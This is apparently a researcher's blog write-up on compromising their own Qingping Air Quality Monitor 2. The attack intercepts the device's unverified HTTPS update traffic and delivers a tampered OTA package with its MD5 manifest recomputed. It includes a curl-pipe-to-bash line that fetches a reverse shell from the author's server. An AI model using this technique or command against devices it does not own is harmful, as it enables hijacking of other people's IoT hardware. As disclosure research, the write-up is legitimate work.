5 minute read

I recently acquired a Qingping Air Quality Monitor 2 for monitoring indoor air quality. While I’ve been happy with the product, I’m inherently distrustful of IoT devices, especially those that connect to my home’s Wi-Fi network. So, I set out to investigate its functionality with the end goal of obtaining some form of command execution to further explore the file system and running processes on the device.

Recon

Running a basic port scan on the device revealed that only port 53 was open, running dnsmasq 2.85:

A quick search for this version shows a 2022 CVE for a denial-of-service bug. However, this wasn’t of interest here.

Next, I wanted to see what web requests the device makes when connected to the internet. On my home network I use NextDNS, which offers functionality similar to Pi-hole (though any DNS logging solution would work). Once connected to Wi-Fi, the Qingping device sent several requests to the *.cleargrass.com domain.

As a web pentester, I immediately wanted to intercept and inspect these HTTP requests. To do this, I needed to MITM the device’s traffic. Fortunately, many home DNS solutions (router settings, Pi-hole, etc.) let you add custom DNS entries, so I could map *.cleargrass.com to my laptop’s IP address and redirect traffic there. If your network doesn’t have this feature, the tool bettercap can perform DNS spoofing to acheive similar results.

Starting a netcat listener on port 443 confirmed that HTTPS traffic for *.cleargrass.com now hit my laptop. The next challenge was intercepting the HTTPS requests. For this, I generated a small Python HTTPS server that proxies requests to Burp Suite on 127.0.0.1:8080. This script is available here

First, generate an SSL certificate for the HTTPS server:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=localhost"

Next, run the HTTPS server script with Burp Suite listening.

sudo python3 https_tap.py --addr 192.168.1.186 --port 443 --cert cert.pem --key key.pem

Great, we are successfully able to intercept HTTP requests generated by the Qingping device.

Interestingly, the device continues to function normally while being MITM’d, which strongly indicates that SSL certificate verification is disabled. One would expect that some sort of certificate pinning would be enforced to avoid this scenario.

Note: Since we’ve remapped DNS for *.cleargrass.com, you’ll need to restore correct DNS resolution on your laptop so it can forward requests. One way is to temporarily set your laptop’s DNS to 8.8.8.8 instead of using the network’s DNS configuration. Alternatively, set up an SSH SOCKS proxy and configure Burp Suite to use it.

System Update Functionality

With minimal exposed ports, the system update mechanism seemed the most promising attack surface. Within the device Settings > System Update menu, one can instruct the device to check for updates.

The relevant HTTP request and response are shown below (note: at the time of writing this software version 4.5.6_0156 was the latest stable version).

However, if we modify the outbound HTTP request to advertise a lower version, let’s say 4.5.6_0155, the web server responds with instructions to update the device.

The HTTP response contains some key information. It tells the device a new version is available, it provides the software update’s MD5 hash, the software update’s URL location, and a brief description of the update. The next logical step is to inspect this software update package. The device then issues a request to the URL described in the prior HTTP request. This request and response are shown below:

One interesting thing to note is that the ETag header contains the MD5 hash of the software update, which is also included in the GET request path.

Downloading and extracting the ZIP file reveals a certificate, several Bash scripts, another ZIP file, and a Linux ELF binary. Given that the device reboots after updating, the ota.sh script is likely executed during the update process.

At this point, the attack path is clear: intercept the update process and deliver a modified package.

Crafting our Malicious Update

As previously discussed, ota.sh seems like a good candidate to insert our own Bash commands. Let’s try a curl command to a web server we control to see if these commands will be executed upon updating the software.

Next we will also need to update the file md5 with the new MD5 hash of ota.sh, below is a Bash command to achieve this:

rm -f md5
for f in *; do
  [ "$f" = "md5" ] && continue
  [ -f "$f" ] || continue
  md5 -q "$f" | awk -v n="$f" '{printf "%s  %s\n",$1,n}' >> md5
done

Next we can zip everything up with a zip command:

zip -X -9 -q -r ../malicious_update.zip .

Great, now we have crafted a malicious software update with an added Bash command. Once we supply this update to the device we should see a GET request to our web server.

Delivering the Malicious Update

Since we can intercept HTTP requests and responses to the device, it is trivial to supply our own .zip file in the HTTP response to the update request. However, as discussed above there are a few additional pieces of information required in the HTTP response headers, such as the MD5 hash.

The attack flow:

  1. DNS spoof the *.cleargrass.com domain
  2. Respond to the check update request with a new update
  3. Replace the system update zip file with our own malicious zip

To achieve this, we will modify the previous python HTTPS server to deliver the malicious update. As noted, we will need to adjust MD5 hashes and other HTTP response headers for the device to accept the file. This is all handled by the code.

Let’s see it in action. If all goes well we should see a curl request on our web server to /qingping. Starting the updated python HTTPS server:

 sudo python3 zip_supply.py --addr 192.168.1.186 --port 443 --cert cert.pem --key key.pem --zip-file ../malicious_update.zip

On the device, initiate a system update. We can see the request come through to our fake update server.

After a few moments we see the HTTP request to our web server. Nice!

From here, obtaining a reverse shell is trivial. I personally had success modifying the shell command in ota.sh to curl https://poc.cinzinga.com/qingping | bash where the file qingping hosted a reverse shell.

Further Research

The Qingping Air Quality Monitor also integrates with a mobile app, which could be another interesting target. The device’s firmware contains numerous binaries that manage its functions. Analyzing these could uncover deeper vulnerabilities.